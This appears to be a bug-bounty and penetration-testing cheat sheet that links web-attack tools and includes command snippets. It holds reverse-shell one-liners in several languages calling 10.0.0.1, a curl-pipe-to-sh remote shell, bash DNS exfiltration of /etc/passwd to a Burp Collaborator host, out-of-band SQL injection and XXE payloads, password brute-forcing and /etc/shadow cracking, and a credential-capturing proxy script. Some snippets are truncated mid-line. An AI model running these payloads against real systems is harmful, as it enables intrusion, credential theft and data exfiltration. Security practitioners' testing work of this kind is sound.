Modern web applications typically rely on chains of multiple servers, which forward HTTP requests to one another. The attack surface created by this forwarding is increasingly receiving more attention, including the recent popularisation of cache poisoning and request smuggling vulnerabilities. Much of this exploration, especially recent request smuggling research, has developed new ways to hide HTTP request headers from some servers in the chain while keeping them visible to others – a technique known as "header smuggling". This paper presents a new technique for identifying header smuggling and demonstrates how header smuggling can lead to cache poisoning, IP restriction bypasses, and request smuggling.

https://docs.google.com/presentation/d/1DV-VYkoEsjFsePPCmzjeYjMxSbJ9PUH5EIN2ealhr5I/
Two Years Ago @albinowax Shown Us A New Technique To PWN Web Apps So Inspired By This Technique AND @defparam's Tool , I Have Been Collecting A Lot Of Mutations To Achieve Request Smuggling.

https://github.com/GrrrDog/weird_proxies
It's a cheat sheet about behaviour of various reverse proxies and related attacks.

https://github.com/bahruzjabiyev/T-Reqs-HTTP-Fuzzer
T-Reqs (Two Requests) is a grammar-based HTTP Fuzzer written as a part of the paper titled "T-Reqs: HTTP Request Smuggling with Differential Fuzzing" which was presented at ACM CCS 2021.

https://github.com/BenjiTrapp/http-request-smuggling-lab
Two HTTP request smuggling labs.

https://infosec.zeyu2001.com/2022/http-request-smuggling-in-the-multiverse-of-parsing-flaws
Nowadays, novel HTTP request smuggling techniques rely on subtle deviations from the HTTP standard. Here, I discuss some of my recent findings and novel techniques.

Subdomain Takeover

https://github.com/anshumanbh/tko-subs
Subdomain Takeover Scanner

```
tko-subs -data providers-data.csv -threads 20 -domains subdomains.txt
```

https://github.com/haccer/subjack
Subjack is a Subdomain Takeover tool written in Go designed to scan a list of subdomains concurrently and identify ones that are able to be hijacked.
```
subjack -w subdomains.txt -t 100 -timeout 30 -o results.txt -ssl
```

https://github.com/Ice3man543/SubOver
Subover is a Hostile Subdomain Takeover tool originally written in python but rewritten from scratch in Golang. Since it's redesign, it has been aimed with speed and efficiency in mind.
```
SubOver -l subdomains.txt
```

https://github.com/punk-security/dnsReaper
DNS Reaper is yet another sub-domain takeover tool, but with an emphasis on accuracy, speed and the number of signatures in our arsenal.
```
python3 main.py file --filename subdomains.txt
```

SQLi (SQL Injection)

https://github.com/sqlmapproject/sqlmap
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.
```
sqlmap --force-ssl -r RAW_REQUEST.txt --user-agent='Mozilla' --batch
sqlmap -vv -u 'https://www.example.com?id=1*' --user-agent='Mozilla' --level 5 --risk 3 --batch
```

XSS

https://github.com/hahwul/dalfox
DalFox is a powerful open-source tool that focuses on automation, making it ideal for quickly scanning for XSS flaws and analyzing parameters. Its advanced testing engine and niche features are designed to streamline the process of detecting and verifying vulnerabilities.
```
dalfox url http://testphp.vulnweb.com/listproducts.php\?cat\=123\&artist\=123\&asdf\=ff -b https://your-callback-url
```

https://github.com/KathanP19/Gxss
A Light Weight Tool for checking reflecting Parameters in a URL. Inspired by kxss by @tomnomnom.
```
echo "https://www.example.com/some.php?first=hello&last=world" | Gxss -c 100
```

Repositories Scanning

https://github.com/zricethezav/gitleaks
Gitleaks is a SAST tool for detecting hardcoded secrets like passwords, api keys, and tokens in git repos.

https://github.com/michenriksen/gitrob
Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github.

https://github.com/dxa4481/truffleHog
Searches through git repositories for secrets, digging deep into commit history and branches.

https://github.com/awslabs/git-secrets
Prevents you from committing passwords and other sensitive information to a git repository.

https://github.com/eth0izzle/shhgit
shhgit helps secure forward-thinking development, operations, and security teams by finding secrets across their code before it leads to a security breach.

https://pinatahub.incognita.tech/
PinataHub allows you to explore a fraction of the 4M+ passwords and secrets committed in public GitHub repositories, detected by GoldDigger.

https://github.com/adamtlangley/gitscraper
A tool which scrapes public github repositories for common naming conventions in variables, folders and files.
```
php gitscraper.php {GitHub Username} {GitHub Personal KEY}
```

https://www.gitguardian.com/
Secure your software development lifecycle with enterprise-grade secrets detection. Eliminate blind spots with our automated, battle-tested detection engine.

https://docs.gitguardian.com/secrets-detection/detectors/supported_credentials
Here is an exhaustive list of the detectors supported by GitGuardian.

Secret Scanning

https://github.com/redhuntlabs/HTTPLoot
An automated tool which can simultaneously crawl, fill forms, trigger error/debug pages and "loot" secrets out of the client-facing code of sites.

Google Dorks Scanning

https://github.com/opsdisk/pagodo
The goal of this project was to develop a passive Google dork script to collect potentially vulnerable web pages and applications on the Internet.

```
python3 pagodo.py -d example.com -g dorks.txt -l 50 -s -e 35.0 -j 1.1
```

CORS Misconfigurations

https://github.com/s0md3v/Corsy
Corsy is a lightweight program that scans for all known misconfigurations in CORS implementations.

```
python3 corsy.py -u https://example.com
```

Monitoring

CVE

https://www.opencve.io/
OpenCVE (formerly known as Saucs.com) allows you to subscribe to vendors and products, and send you an alert as soon as a CVE is published or updated.

Attacking

Brute Force

https://github.com/vanhauser-thc/thc-hydra
Number one of the biggest security holes are passwords, as every password security study shows. This tool is a proof of concept code, to give researchers and security consultants the possibility to show how easy it would be to gain unauthorized access from remote to a system.

```
hydra -l root -P 10-million-password-list-top-1000.txt www.example.com -t 4 ssh
```

https://www.openwall.com/john/
John the Ripper is an Open Source password security auditing and password recovery tool available for many operating systems.

```
unshadow /etc/passwd /etc/shadow > mypasswd.txt
john mypasswd.txt
```

https://hashcat.net/hashcat/
Hashcat is a password recovery tool.

```
hashcat -m 0 -a 0 hashes.txt passwords.txt
```

https://github.com/iangcarroll/cookiemonster
CookieMonster is a command-line tool and API for decoding and modifying vulnerable session cookies from several different frameworks. It is designed to run in automation pipelines which must be able to efficiently process a large amount of these cookies to quickly discover

vulnerabilities. Additionally, CookieMonster is extensible and can easily support new cookie formats.

```
cookiemonster -cookie "gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1mgnkC:z5yDxzI06qYVAU3bkLaWYpADT4I"
```

https://github.com/ticarpi/jwt_tool

jwt_tool.py is a toolkit for validating, forging, scanning and tampering JWTs (JSON Web Tokens).

```
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw
```

https://github.com/ustayready/fireprox

Rotate the source IP address in order to bypass rate limits

Exfiltration

https://github.com/vp777/procrustes

A bash script that automates the exfiltration of data over dns

https://github.com/sensepost/reGeorg

The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.

https://github.com/fbkcs/ThunderDNS

This tool can forward TCP traffic over DNS protocol. Non-compile clients + socks5 support.

https://blog.assetnote.io/bug-bounty/2020/02/01/expanding-attack-surface-react-native/

Extract data from Firebase with apikey.

```
$ python3 -m venv venv
$ source venv/bin/activate
$ python3 -m ensurepip
$ pip3 install pyrebase4
$ python3
>>> import pyrebase
>>> config = {"apiKey":"AIz...","authDomain":"project.firebaseapp.com","databaseU
>>> firebase = pyrebase.initialize_app(config)
>>> db = firebase.database()
>>> print(db.get())
```

Pure bash exfiltration over dns
Execute on target server (replace YOURBCID)

```
CMD="cat /etc/passwd"
HID=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 5)
CMDID=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 5)
BC="YOURBCID.burpcollaborator.net"
D="$HID-$CMDID.$BC"
M=$($CMD 2>&1); T=${#M}; O=0; S=30; I=1; while [ "${T}" -gt "0" ]; do C=$(echo ${
```

Execute on attacker machine (replace YOURBIID) and extract Burp Collaborator results

```
BCPURL="https://polling.burpcollaborator.net/burpresults?biid=YOURBIID"
RESULTS=$(curl -sk "${BCPURL}")
```

Get IDs available

```
echo "${RESULTS}" | jq -cM '.responses[]' | while read LINE; do if [[ $LINE == *'
```

Update ID and get command result (repeat for each ID)

```
ID="xxxxx-xxxxx"
echo "${RESULTS}" | jq -cM '.responses[]' | while read LINE; do if [[ $LINE == *'
```

https://www.slideshare.net/snyff/code-that-gets-you-pwnsd
Code that gets you pwn(s|'d). Very intersting bypasses ideas.

https://github.com/aufzayed/bugbounty/tree/main/403-bypass
Common 403 bypass.

General

https://github.com/firefart/stunner
Stunner is a tool to test and exploit STUN, TURN and TURN over TCP servers. TURN is a protocol mostly used in videoconferencing and audio chats (WebRTC).

```
stunner info -s x.x.x.x:443
```

Manual

Payloads

https://github.com/six2dez/OneListForAll
This is a project to generate huge wordlists for web fuzzing, if you just want to fuzz with a good wordlist use the file onelistforallmicro.txt.

https://github.com/swisskyrepo/PayloadsAllTheThings
PayloadsAllTheThings

https://github.com/RenwaX23/XSS-Payloads
List of XSS Vectors/Payloads i have been collecting since 2015 from different resources like websites,tweets,books.

https://github.com/0xacb/recollapse
REcollapse is a helper tool for black-box regex fuzzing to bypass validations and discover normalizations in web applications.

https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html
Unicode normalization good for WAF bypass.

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector.

https://portswigger.net/web-security/xxe
XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

https://phonexicum.github.io/infosec/xxe.html
Information Security PENTEST XXE

```
<!DOCTYPE foo SYSTEM "http://xpto.burpcollaborator.net/xpto.dtd">
```

https://github.com/GoSecure/dtd-finder
Identify DTDs on filesystem snapshot and build XXE payloads using those local DTDs.

We propose a new exploit technique that brings a whole-new attack surface to bypass SSRF (Server Side Request Forgery) protections.
https://github.com/orangetw/Tiny-URL-Fuzzer/blob/master/samples.txt

Bypass

https://blog.ryanjarv.sh/2022/03/16/bypassing-wafs-with-alternate-domain-routing.html
Bypassing CDN WAF's with Alternate Domain Routing

https://bishopfox.com/blog/json-interoperability-vulnerabilities
The same JSON document can be parsed with different values across microservices, leading to a variety of potential security risks.

https://github.com/filedescriptor/Unicode-Mapping-on-Domain-names
Browsers support internetionalized domains, but some Unicode characters are converted into English letters and symbols. This may be useful to make very short domains or bypass SSRF protection.

https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/
It's hard to overstate the severity of this bug. If you are using ECDSA signatures for any of these security mechanisms, then an attacker can trivially and completely bypass them if your server is running any Java 15, 16, 17, or 18 version before the April 2022 Critical Patch Update (CPU). For context, almost all WebAuthn/FIDO devices in the real world (including Yubikeys) use ECDSA signatures and many OIDC providers use ECDSA-signed JWTs.

https://h.43z.one/ipconverter/
Convert IP address to different formats for bypass.

Deserialization

https://github.com/joaomatosf/jexboss
JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc.

https://github.com/pimps/JNDI-Exploit-Kit
This is a forked modified version of the great exploitation tool created by @welk1n (https://github.com/welk1n/JNDI-Injection-Exploit).

SSRF (Server-Side Request Forgery)

https://lab.wallarm.com/blind-ssrf-exploitation/
There is such a thing as SSRF. There's lots of information about it, but here is my quick

summary.

https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/
A Glossary of Blind SSRF Chains.

https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/
BRING YOUR OWN SSRF – THE GATEWAY ACTUATOR.

https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/
Attacking Java RMI via SSRF.

https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next
Got SSRF in a AWS lambda? `http://localhost:9001/2018-06-01/runtime/invocation/next`

DNS Rebinding

https://github.com/nccgroup/singularity
Singularity of Origin is a tool to perform DNS rebinding attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine.

https://github.com/brannondorsey/dns-rebind-toolkit
DNS Rebind Toolkit is a frontend JavaScript framework for developing DNS Rebinding exploits against vulnerable hosts and services on a local area network (LAN).

https://github.com/brannondorsey/whonow
A malicious DNS server for executing DNS Rebinding attacks on the fly.

https://nip.io
Dead simple wildcard DNS for any IP Address

https://sslip.io
sslip.io is a DNS (Domain Name System) service that, when queried with a hostname with an embedded IP address, returns that IP Address.

http://1u.ms/
This is a small set of zero-configuration DNS utilities for assisting in detection and exploitation of SSRF-related vulnerabilities. It provides easy to use DNS rebinding utility, as well as a way to get resolvable resource records with any given contents.

https://github.com/Rhynorater/rebindMultiA
rebindMultiA is a tool to perform a Multiple A Record rebind attack.

SMTP Header Injection

https://www.acunetix.com/blog/articles/email-header-injection/
It is common practice for web pages and web applications to implement contact forms, which in turn send email messages to the intended recipients. Most of the time, such contact forms set headers. These headers are interpreted by the email library on the web server and turned into resulting SMTP commands, which are then processed by the SMTP server.

```
POST /contact.php HTTP/1.1
Host: www.example2.com

name=Best Product\nbcc:
everyone@example3.com&replyTo=blame_anna@example.com&message=Buy my product!
```

Reverse Shell

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
Bash

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

PERL

```
perl -e 'use
Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));i
f(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

Python

```
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(
("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

PHP

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
<&%d >&%d 2>&%d",f,f,f)'
```

Netcat
```
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

Java
```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

xterm
```
xterm -display 10.0.0.1:1
Xnest :1
xhost +targetip
```

Reverse Shell as a Service
```
nc -l 1337
curl https://reverse-shell.sh/yourip:1337 | sh
```

https://github.com/calebstewart/pwncat
pwncat is a post-exploitation platform for Linux targets.

SQLi (SQL Injection)

https://arxiv.org/abs/1303.3047
This paper describes an advanced SQL injection technique where DNS resolution process is exploited for retrieval of malicious SQL query results.

Oracle
```
'||(SELECT%20UTL_INADDR.GET_HOST_ADDRESS('xpto.example.com'))||'
'||(SELECT%20UTL_HTTP.REQUEST('http://xpto.example.com')%20FROM%20DUAL)||'
'||(SELECT%20HTTPURITYPE('http://xpto.example.com').GETCLOB()%20FROM%20DUAL)||'
'||(SELECT%20DBMS_LDAP.INIT(('xpto.example.com',80)%20FROM%20DUAL)||'
```

MySQL
```
'||(SELECT%20LOAD_FILE('\\xpto.example.com'))||'
```

Microsoft SQL Server
```
'+;EXEC('master..xp_dirtree"\\xpto.example.com\"');+'
'+;EXEC('master..xp_fileexist"\\xpto.example.com\"');+'
'+;EXEC('master..xp_subdirs"\\xpto.example.com\"');+'
```

PostgreSQL
```
'||;COPY%20users(names)%20FROM%20'\\xpto.example.com\';||'
```

https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet
This repository contains a advanced methodology of all types of SQL Injection.

https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/
This SQL injection cheat sheet is an updated version of a 2007 post by Ferruh Mavituna on his personal blog. Currently this SQL injection cheat sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parentheses, different code bases and unexpected, strange and complex SQL sentences.

https://www.websec.ca/kb/sql_injection
The SQL Injection Knowledge Base

https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/
Use our SQL Injection Cheat Sheet to learn about the different variants of the SQL injection vulnerability.

XSS

https://rhynorater.github.io/postMessage-Braindump
postMessage-related bugs have landed me some serious bounties during the past couple live hacking events. Here is a quick summary of what you need to know about postMessage.

https://www.gremwell.com/firefox-xss-302
Forcing Firefox to Execute XSS Payloads during 302 Redirects.

https://trufflesecurity.com/blog/xsshunter/
Truffle Security is proud to host a new XSSHunter.

XPath Injection

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

https://devhints.io/xpath
Xpath cheatsheet.

https://www.s4msecurity.com/2022/06/08/xml-xpath-injection-search-bwapp-level-low/
This article subject XML/XPath Injection vulnerability on web app.

LFI (Local File Inclusion)

https://bierbaumer.net/security/php-lfi-with-nginx-assistance/
This post presents a new method to exploit local file inclusion (LFI) vulnerabilities in utmost generality, assuming only that PHP is running in combination with Nginx under a common standard configuration.

SSTI (Server Side Template Injection)

https://www.youtube.com/watch?v=SN6EVIG4c-0
Template Injections (SSTI) in 10 minutes

https://portswigger.net/research/server-side-template-injection
Template engines are widely used by web applications to present dynamic data via web pages and emails. Unsafely embedding user input in templates enables Server-Side Template Injection, a frequently critical vulnerability that is extremely easy to mistake for Cross-Site Scripting (XSS), or miss entirely. Unlike XSS, Template Injection can be used to directly attack web servers' internals and often obtain Remote Code Execution (RCE), turning every vulnerable application into a potential pivot point.

https://github.com/epinna/tplmap
Tplmap assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operating system.
```
tplmap.py --os-shell -u 'http://www.example.com/page?name=John'
```

https://github.com/vladko312/SSTImap
SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself.
```
sstimap.py -u https://example.com/page?name=John
```

Information Disclosure

https://infosecwriteups.com/information-disclosure-vulnerability-in-adobe-experience-manager-affecting-multiple-companies-2fb0558cd957

```
https://www.example.com/content/example/filename.pdf/.1.json
```

WebDAV (Web Distributed Authoring and Versioning)

http://www.webdav.org/cadaver/
cadaver is a command-line WebDAV client for Unix.

https://github.com/cldrn/davtest
This program attempts to exploit WebDAV enabled servers.

Generic Tools

https://ahrefs.com/backlink-checker
Try the free version of Ahrefs' Backlink Checker.

https://gchq.github.io/CyberChef/
The Cyber Swiss Army Knife

https://packettotal.com/
Pcap analysis and samples

https://github.com/vavkamil/awesome-bugbounty-tools
A curated list of various bug bounty tools.

https://check-host.net/
Check-Host is a modern online tool for website monitoring and checking availability of hosts, DNS records, IP addresses.

https://github.com/fyoorer/ShadowClone
ShadowClone allows you to distribute your long running tasks dynamically across thousands of serverless functions and gives you the results within seconds where it would have taken hours to complete.

https://github.com/A-poc/RedTeam-Tools
This github repository contains a collection of 125+ tools and resources that can be useful for red teaming activities.

General

Print only response headers for any method with curl

```
curl -skSL -D - https://www.example.com -o /dev/null
```

Extract website certificate

```
true | openssl s_client -connect www.example.com:443 2>/dev/null | openssl x509 -noout -text
```

Pure bash multhread script

```
#!/bin/bash

FILE="${1}"
THREADS="${2}"
TIMEOUT="${3}"
CMD="${4}"
NUM=$(wc -l ${FILE} | awk '{ print $1 }')
THREAD=0
NUMDOM=0
while read SUBDOMAIN; do
        PIDSTAT=0
        if [ $THREAD -lt $THREADS ]; then
                eval timeout ${TIMEOUT} ${CMD} 2>/dev/null &
                PIDS[$THREAD]="${!}"
                let THREAD++
                let NUMDOM++
                echo -ne "\r>Progress: ${NUMDOM} of ${NUM} ($(awk "BEGIN {printf
        else
                while [ ${PIDSTAT} -eq 0 ]; do
                        for j in "${!PIDS[@]}"; do
                                kill -0 "${PIDS[j]}" > /dev/null 2>&1
                                PIDSTAT="${?}"
                                if [ ${PIDSTAT} -ne 0 ]; then
                                        eval timeout ${TIMEOUT} ${CMD} 2>/dev/nul
                                        PIDS[j]="${!}"
                                        let NUMDOM++
                                        echo -ne "\r>Progress: ${NUMDOM} of ${NUM
                                        break
                                fi
                        done
                done
        fi
done < ${FILE}
wait
```

Reverse Proxy (mitmproxy)

```
mitmdump --certs ~/cert/cert.pem --listen-port 443 --scripts script.py --set block_global=false --mode reverse:https://example.com/ # Good for capture credentials
```

```
$ cat script.py
import mitmproxy.http
from mitmproxy import ctx

def request(flow):
    if flow.request.method == "POST":
        ctx.log.info(flow.request.get_text())
        f = open("captured.log", "a")
        f.write(flow.request.get_text() + '\n')
        f.close()
```

Port Forwarding (socat)

```
sudo socat -v TCP-LISTEN:80,fork TCP:127.0.0.1:81
```

Reverse Proxy (socat)

```
socat -v -d -d TCP-LISTEN:8101,reuseaddr,fork TCP:127.0.0.1:8100
sudo socat -v -d -d openssl-listen:8443,cert=cert.pem,reuseaddr,fork,verify=0 SSL:127.0.0.1:443,verify=0
```

SOCKS Proxy

```
ssh -N -D 0.0.0.0:1337 localhost
```

https://github.com/projectdiscovery/proxify/

Swiss Army Knife Proxy for rapid deployments. Supports multiple operations such as request/response dump, filtering and manipulation via DSL language, upstream HTTP/Socks5 proxy.

```
proxify -socks5-proxy socks5://127.0.0.1:9050
```

Fake HTTP Server

```
while true ; do echo -e "HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Length: 2\r\n\r\nOK" | sudo nc -vlp 80; done
socat -v -d -d TCP-LISTEN:80,crlf,reuseaddr,fork 'SYSTEM:/bin/echo "HTTP/1.1 200 OK";/bin/echo "Connection: close";/bin/echo "Content-Length: 2";/bin/echo;/bin/echo "OK"'
socat -v -d -d TCP-LISTEN:80,crlf,reuseaddr,fork 'SYSTEM:/bin/echo "HTTP/1.1 302
```

```
Found";/bin/echo "Content-Length: 0";/bin/echo "Location:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-
accounts/default/token";/bin/echo;/bin/echo'
 FILE=image.jpg;socat -v -d -d TCP-LISTEN:80,fork "SYSTEM:/bin/echo 'HTTP/1.1 200
OK';/bin/echo 'Content-Length: '`wc -c<$FILE`;/bin/echo 'Content-Type:
image/png';/bin/echo;dd 2>/dev/null<$FILE" # Present an image
 python2 -m SimpleHTTPServer 8080
 python3 -m http.server 8080
 php -S 0.0.0.0:80
 ruby -run -e httpd . -p 80
 busybox httpd -f -p 80


# Fake HTTPS Server
 openssl req -new -x509 -keyout test.key -out test.crt -nodes
 cat test.key test.crt > test.pem
 socat -v -d -d openssl-listen:443,crlf,reuseaddr,cert=test.pem,verify=0,fork
'SYSTEM:/bin/echo "HTTP/1.1 200 OK";/bin/echo "Connection: close";/bin/echo
"Content-Length: 2";/bin/echo;/bin/echo "OK"'
 socat -v -d -d openssl-listen:443,crlf,reuseaddr,cert=web.pem,verify=0,fork
'SYSTEM:/bin/echo "HTTP/1.1 302 Found";/bin/echo "Connection: close";/bin/echo
"Content-Length: 0";/bin/echo "Location:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-
accounts/default/token";/bin/echo;/bin/echo'
 stunnel stunnel.conf # Check https://www.stunnel.org/


# Python 3 Simple HTTPS Server


      import http.server, ssl
      server_address = ('0.0.0.0', 443)
      httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestH
      httpd.socket = ssl.wrap_socket(httpd.socket, server_side=True, certfile='/pat
      httpd.serve_forever()



# Fake FTP Server
 python -m pyftpdlib --directory=/tmp/dir/ --port=21


# Check HTTP or HTTPS
```

```
while read i; do curl -m 15 -ki http://$i &> /dev/null; if [ $? -eq 0 ]; then echo $i; fi; done < subdomains.txt
while read i; do curl -m 15 -ki https://$i &> /dev/null; if [ $? -eq 0 ]; then echo $i; fi; done < subdomains.txt
```

Ten requests in parallel

```
xargs -I % -P 10 curl -H 'Connection: close' -s -D - -o /dev/null https://example.com < <(printf '%s\n' {1..10000})
```

Access target directly through IP address

```
http://1.2.3.4
https://1.2.3.4
```

Trim space and newlines on bash variable

```
"${i//[$'\t\r\n ']}"
```

Extract paths from swagger.json

```
cat swagger.json | jq -r '.paths | to_entries[] | .key'
```

https://gtfobins.github.io/

GTFOBins is a curated list of Unix binaries that can used to bypass local security restrictions in misconfigured systems.

https://www.guyrutenberg.com/2014/05/02/make-offline-mirror-of-a-site-using-wget/

Make Offline Mirror of a Site using wget

```
wget -mkEpnp https://www.example.com/
```

Referer spoofing

```
<base href="https://www.google.com/">
<style>
@import 'https://CSRF.vulnerable.example/';
</style>
```

https://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html

Check PreAuth RCE on Palo Alto GlobalProtect

```
time curl -s -d 'scep-profile-name=%9999999c' https://${HOST}/sslmgr >/dev/null
time curl -s -d 'scep-profile-name=%99999999c' https://${HOST}/sslmgr >/dev/null
time curl -s -d 'scep-profile-name=%999999999c' https://${HOST}/sslmgr >/dev/null
```

https://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html
How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration System (bypass with /..;/)

https://docs.google.com/presentation/d/1jqnpPe0A7L_cVuPe1V0XeW6LOHvMYg5PBqHd96SScJ8/
Routing To Another Backend , Deserve Spending Hours AND Hours On Its So Inspired By @samwcyo's Talk " Attacking Secondary Contexts in Web Applications " , I Have Been Collecting A Lot Of Stuff To PWN This Backend.

https://medium.com/@ricardoiramar/reusing-cookies-23ed4691122b
This is a story how I accidentally found a common vulnerability across similar web applications just by reusing cookies on different subdomains from the same web application.

https://github.com/shieldfy/API-Security-Checklist
Checklist of the most important security countermeasures when designing, testing, and releasing your API.

https://ippsec.rocks
Looking for a video on a specific hacking technique/tool? Searches over 100 hours of my videos to find you the exact spot in the video you are looking for.

https://book.hacktricks.xyz/welcome/hacktricks
Welcome to the page where you will find each hacking trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news.

https://github.com/c3l3si4n/godeclutter
Declutters URLs in a lightning fast and flexible way, for improving input for web hacking automations such as crawlers and vulnerability scans.

https://github.com/s0md3v/uro
Using a URL list for security testing can be painful as there are a lot of URLs that have uninteresting/duplicate content; uro aims to solve that.

https://github.com/hakluke/hakscale
Hakscale allows you to scale out shell commands over multiple systems with multiple threads on each system. The key concept is that a master server will push commands to the queue, then multiple worker servers pop commands from the queue and execute them. The output from those commands will then be sent back to the master server.

```
hakscale push -p "host:./hosts.txt" -c "echo _host_ | httpx" -t 20
```

https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers
In this writeup, I will be covering techniques which can be used to influence web systems and applications in unexpected ways, by abusing HTTP/1.1 hop-by-hop headers. Systems affected

by these techniques are likely ones with multiple caches/proxies handling requests before reaching the backend application.

https://github.com/chubin/cheat.sh
Unified access to the best community driven cheat sheets repositories of the world.

https://labs.detectify.com/2022/10/28/hacking-supercharged-how-to-gunnar-andrews/
How to supercharge your hacking: Mindset, workflow, productivity and checklist.

https://github.com/sehno/Bug-bounty
You can find here some resources I use to do bug bounty hunting.

https://wpdemo.net/
WPDemo.net is for WordPress theme designers and plugin developers that want to allow potential customers to test drive their WordPress plugins or themes before buying.

https://searchcode.com/
Search 75 billion lines of code from 40 million projects.

https://github.com/vitalysim/Awesome-Hacking-Resources
A collection of hacking / penetration testing resources to make you better!

https://github.com/infoslack/awesome-web-hacking
A list of web application security.

https://www.youtube.com/watch?v=QSq-aYYQpro
Command-Line Data-Wrangling by Tomnomnom.

https://www.youtube.com/watch?v=s9w0KutMorE
Bug Bounties With Bash by Tomnomnom.